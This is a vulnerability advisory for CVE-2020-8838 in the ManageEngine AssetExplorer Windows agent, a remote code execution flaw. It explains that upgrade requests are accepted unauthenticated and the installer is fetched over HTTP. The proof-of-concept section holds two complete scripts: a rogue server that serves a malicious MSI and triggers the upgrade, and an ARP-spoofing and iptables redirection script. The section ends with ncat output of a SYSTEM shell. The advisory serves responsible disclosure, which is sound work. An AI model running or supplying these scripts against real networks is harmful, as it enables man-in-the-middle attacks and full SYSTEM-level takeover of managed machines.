XL-2020-003 - Asset Explorer Windows Agent - Remote Code Execution

===============================================================================



Identifiers

-------------------------------------------------

* CVE-2020-8838

* XL-20-003



CVSSv3 score

-------------------------------------------------

7.5 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)



Vendor

-------------------------------------------------

ManageEngine - [https://www.manageengine.com/products/asset-explorer/](https://www.manageengine.com/products/asset-explorer/)



Product

-------------------------------------------------

ManageEngine Asset Explorer windows agent is used by the ManageEngine's AssetExplorer software to discover software assets installed on the windows machines.



Affected versions

-------------------------------------------------

- All versions prior to 1.0.29



Credit

-------------------------------------------------

Sahil Dhar - xen1thLabs - Software Labs



Vulnerability summary

-------------------------------------------------

It was observed that, while upgrading the Asset Explorer's windows agent, it does not validate the source IP address of server sending the UPGRADE request and downloads the agent binary via an insecure channel, allowing an attacker on an adjacent network to execute code with `NT AUTHORITY/SYSTEM` priviliges on the agent machines by providing arbitrary executables via MITM attack.



Techincal details

-------------------------------------------------

Upon reversing the ManageEngineAssetExplorerAgent.exe binary, we observed that the agent server does not validate the source of connection and accepts the command from any client. Following pseudo code shows this behaviour.



```c

  v9 = 9000;

    if ( dword_493E38 )

      v9 = _wtoi(dword_493E38);

    if ( sub_40114F() )

      Log Function(...)

    if ( !sub_40117C() )

      Log Function(...)

    v10 = sub_401195(v9); /* listen on port 9000 */

    if ( v10 == -1 )

    {

      Log Function(...)

        ".\\.\\main\\src\\AEAgent.cpp",

        131,

        3,

        "Failed in create_server_sock. The port may be occupied by some other applications, try restarting the agent after 30 minutes",

        v40);

      return 0;

    }

    while ( 1 )

    {

      while ( 1 )

      {

        while ( 1 )

        {

          s = 0;

          v11 = sub_40101E(v10, &addr, (int)&s);

           v43 = v11;

          if ( v11 )

            break;

          closesocket(s);

          Log Function(...)

        }

        v12 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);

        v13 = &v50;

        do

        {

          v14 = *v12;

          *v13++ = *v12++;

        }

        while ( v14 );

        *(_DWORD *)dword_493E54 = *(unsigned __int16 *)addr.sa_data;

        Log Function(...)

        Log Function(...)

        v15 = calloc(1u, 0xC8u);

        v48 = v15;

        if ( sub_401091(v11, v15, 200) > 0 ) /* read 200 bytes from the client socket */

          break;

        Log Function(...)

        if ( v15 )

          free(v15);

        sub_4011A4(v11);

      }

      v16 = 0;

```



The agent server then parses the command by splitting it with hash `#` character and send an authorization request to AssetExplorer Management server using insecure HTTP connection. Following code snippets shows this behaviour:

```c

// UPGRADE request parsing logic

v17 = strtok((char *)v15, "#");

                                                if ( v17 )

      {

        dword_493E5C = sub_40106E(v17);

        v18 = strtok(0, "#");

        if ( v18 )

        {

          dword_493E58 = (void *)sub_40106E(v18);

          v19 = strtok(0, "#");

          if ( v19 )

          {

            dword_493E60 = (void *)sub_40106E(v19);

            v16 = strtok(0, "#");

            if ( v16 )

            {

              v20 = strtok(0, "#");

              v46 = v20;

              if ( v20 )

              {

                dword_493E64 = (void *)sub_40106E(v20);

                v21 = strtok(0, "#");

                if ( v21 )

                  dword_493E68 = (void *)sub_40106E(v21);

              }

              if ( !memcmp(v16, "RDS-PROMPT", 0xBu) && v46 )

                v44 = atoi(v46);

            }

          }

        }

      }

```



```c

// send AUTH_TOKEN REQUEST to Server

sub_40112C(v2, L"%s?WSNAME=%s&AUTH_TOKEN=%s&AGENTID=%s&TASK=%s", (unsigned int)&off_47B4F0);

                Log Function(...)

                v13 = calloc(2u, 0x3E8u);

                v3 = _wtoi(v15);

                v4 = sub_4010DC(v0, v1, v3, v2, L"Get Task Info", &v13); /*DM Comment: Send http POST request*/

                v5 = 0;

                if ( v4 )

                                {

                                                v6 = _wtoi(v15);

                                                v7 = sub_4010DC(v16, v17, v6, v2, L"Get Task Info", &v13); /*DM Comment: Send http POST request*/

                                                v4 = v7;





                /* DM Comment: sub_4010DC() function utimately resolving in HttpSendRequestExW Win API call  in sub_406DD0() function */



                                v18 = HttpOpenRequestW(v16, L"POST", lpszObjectName, L"HTTP/1.0", &szReferrer, 0, dwFlags, 0);

                  if ( !v18 )

                    goto LABEL_38;

                LABEL_15:

                  while ( 2 )

                  {

                    v19 = 0;

                    while ( 1 )

                    {

                      if ( !HttpSendRequestExW(v18, &BuffersIn, 0, 0, 0) )

```



Upon receiving the `UPGRADE` command, the agent executes the following block of pseudo code, which ideally is supposed to send the request to an AssetExplorer management server to verify the authenticity of request.



As the connection is made over HTTP, an attacker can execute Man-in-the-middle (MITM) attack and act as an rougue AssetExplorer Management server and sends a success response for the malicious `UPGRADE` request triggered by them initially.

```c

  if ( !memcmp(v16, "UPGRADE", 8u) )

        {

         Log Function(...)

          v45 = (void *)sub_401122(lpWideCharStr);

          if ( !(unsigned __int8)sub_401109(v45, *(_DWORD *)dword_493E54, "success", v55) )

            Log Function(...)

          if ( v45 )

            free(v45);

          if ( !CreateThread(0, 0, sub_4010D7, L"UPGRADE", 0, 0) )

          {

            v46 = GetLastError();

            Log Function(...)

          }

        }

```



After receiving the successful response from the attacker's server, the agent server copies agentcontroller.exe binary in windows temp folder and executes the command `agentcontroller.exe -upgrade`. Following pseudo code shows this behaviour.

```c

                sub_40112C(v6, L"%s -upgrade", (unsigned int)L"agentcontroller.exe");

    }

    else

    {

      sub_40112C(v6, L"%s -r", (unsigned int)L"agentcontroller.exe");

    }

    sub_40105F(lpPathName, (int)v6, -1);

    free(v6);

```



The agentcontroller.exe when executed with `-upgrade` option, simply downloads the new/malicious binary residing at `/agent/ManageEngineAssetExplorerAgent.msi` server path using insecure HTTP connection  and executes it.

```c

/*DM Comment: Pseudo code for agentcontroller.exe downloading and executing the malicious .msi binary using windows msiexec utility*/





  if ( sub_40105F((int)v0, lpszServerName, v4, (int)L"/agent/ManageEngineAssetExplorerAgent.msi", v2)

      && (v5 = _wtoi(v15), sub_40105F((int)v0, v17, v5, (int)L"/agent/ManageEngineAssetExplorerAgent.msi", v2)) )

    {

      Log Function(...)

      sub_4010BE(

        v1,

        L"%s?status=failed&agentId=%s&wsName=%s&action=%s&error=%d",

        (unsigned int)L"/discoveryServlet/AgentStatusServlet");

      sub_401005((int)v0, (int)lpszServerName, (int)v17, v15, (int)v1);

    }

    else

    {

      Log Function(...)

      v6 = (wchar_t *)calloc(2u, 0x3E8u);

      v7 = (int)v6;

      if ( v6 )

        sub_4010BE(v6, L"MsiExec.exe /i %s /q ALLUSERS=1 /log aeagent_msi_install.log", (char)v18);

```



Proof of concept

-------------------------------------------------

Following POC exploit scripts can be used in conjuction to serve a malicious MSI binary to the agent which will be executed with `NT Authority/System` privileges.



**exploit.py**

```python

#!/usr/bin/env python

# Author: Sahil Dhar (@0x401)

# usage: python3 exploit.py <target>



from http.server import  BaseHTTPRequestHandler

from http.server import  HTTPServer

import code

import os

import threading

import socket

import sys

import ssl





class RequestHandler(BaseHTTPRequestHandler):

    def do_POST(self):

        self.server_version = "-"

        self.sys_version = ""

        if 'AUTH_TOKEN' in self.path:

            response_body = "true"

            print("Received AUTH_TOKEN request")

            # print(self.path)

            # print(self.headers)

            self.send_response(200)

            self.send_header("Set-Cookie","SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")

            self.send_header("Content-Length",len(response_body))

            self.end_headers()

            self.wfile.write(bytes(response_body.encode("utf-8")))



        else:

           # print(self.path)

            self.send_response(404)

            self.end_headers()

            self.wfile.write("<br>POST".encode('utf-8'))



    def do_GET(self):

        self.server_version = "-"

        self.sys_version = ""

        agent_data = open("aeagent2.msi", 'rb').read()

        if 'ManageEngineAssetExplorerAgent.msi' in self.path:

            response_body = agent_data

            print("Received binary package request")

            print(self.path)

            print(self.headers)

            print("Malicious binary sent")

            self.send_response(200)

            self.send_header("Set-Cookie", "SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")

            self.send_header("Content-Length", len(response_body))

            self.send_header("Accept-Ranges", "bytes")

            self.send_header("Connection", "close")

            self.end_headers()

            self.wfile.write(bytes(response_body))

        else:

            print(self.path)

            self.send_response(404)

            self.end_headers()

            self.wfile.write("<br>GET".encode("utf-8"))





def send_upgrade_packet(ip, port=9000):

    """by default exploit will send an UPGRADE packet on port 9000"""

    agent_auth = "ABBBBB"

    agent_id = "WIN-1D8NLD1QO81_1555159094695"

    operation = "UPGRADE"

    data = agent_id + "#" + agent_auth + "#" + agent_id + "#" + operation

    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    ssl_sock = ssl.wrap_socket(sock)

    ssl_sock.connect((ip, int(port)))

    ans = input("Send Exploit ?")

    if ans.lower() in 'yes':

        print("Sending UPGRADE request...")

        ssl_sock.send(data.encode('utf-8'))

        print(ssl_sock.recv(1024))

        ssl_sock.close()





def main():

    """ ManageEngineAssetExplorerAgent Exploit in default configurations"""

    agent_ip = sys.argv[1]

    local_server_port = 443



    server = HTTPServer(('', local_server_port), RequestHandler)

    if len(sys.argv) > 2:

        if sys.argv[2] == '--ssl':

            server.socket = ssl.wrap_socket(server.socket, certfile="./server.pem", server_side=True)

            print("HTTPS Server listening at %d" % local_server_port)

    else:

        print("HTTP Server listening at %d" % local_server_port)

    server_thread = threading.Thread(target=server.serve_forever)

    server_thread.start()

    client_thread = threading.Thread(target=send_upgrade_packet,args=(agent_ip,))

    client_thread.start()



if __name__=="__main__":

  main()

```



**arp_spoof.py***

```python

#!/usr/bin/env python

# Author: Sahil Dhar (@0x401)

# usage: python3 arp_spoof.py <target> <upgrade_server> <target_port> start





from scapy.all import *

import logging

import time

import signal

import os



logging.getLogger("scapy.runtime").setLevel(logging.ERROR)





def get_mac(ip):

    res, unres = arping(ip)

    for s, r in res:

        return r[Ether].src





def arp_restore(victim_ip, router_ip, victim_mac, router_mac):

    send(ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victim_mac), 3)

    send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=router_mac), 3)





def arp_poison(victim_ip, router_ip, victim_mac, router_mac):

    """As we are not defining hwsrc, the hwsrc will be taken as our

    hardware mac address and thus putting us between victim and router"""



    send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst=victim_mac))

    send(ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst=router_mac))





def create_env(port=8080):

    cmds = set()

    os.system("iptables -t nat -F")

    print("Iptables NAT cleared")

    print("Ip foward rule inserted");

    cmds.add('echo "1" > /proc/sys/net/ipv4/ip_forward')

    cmds.add("iptables -t nat -A PREROUTING -p tcp --destination-port %s -j REDIRECT --to-port %s" % (port, port))

    for cmd in cmds:

        time.sleep(1)

        os.system(cmd)





if __name__ == '__main__':

    _server_port = sys.argv[3]

    _victim_ip = sys.argv[1]

    _router_ip = sys.argv[2]

    _router_mac = get_mac(_router_ip)

    _victim_mac = get_mac(_victim_ip)



    create_env(port=_server_port)



    def signal_handler(signal, frame):

        print("Restoring ARP Cache...")

        arp_restore(_victim_ip, _router_ip, _victim_mac, _router_mac)

        os._exit(0)



    signal.signal(signal.SIGINT, signal_handler)

    if sys.argv[4] == "start":

        while 1:

            arp_poison(_victim_ip, _router_ip, _victim_mac, _router_mac)

            time.sleep(1.5)

```



```

#~ ncat 192.168.56.101 4141

Microsoft Windows [Version 10.0.16299.1268]

(c) 2017 Microsoft Corporation. All rights reserved.





C:\Windows\system32>whoami

nt authority\system

```



Solution

-------------------------------------------------

Upgrade AssetExplorer to the latest version.



Timeline

-------------------------------------------------

    20-06-2019 - Reported to vendor

    20-06-2019 - Vendor acknowledgement

    20-01-2020 - Patch released

    05-05-2020 - xen1thLabs public disclosure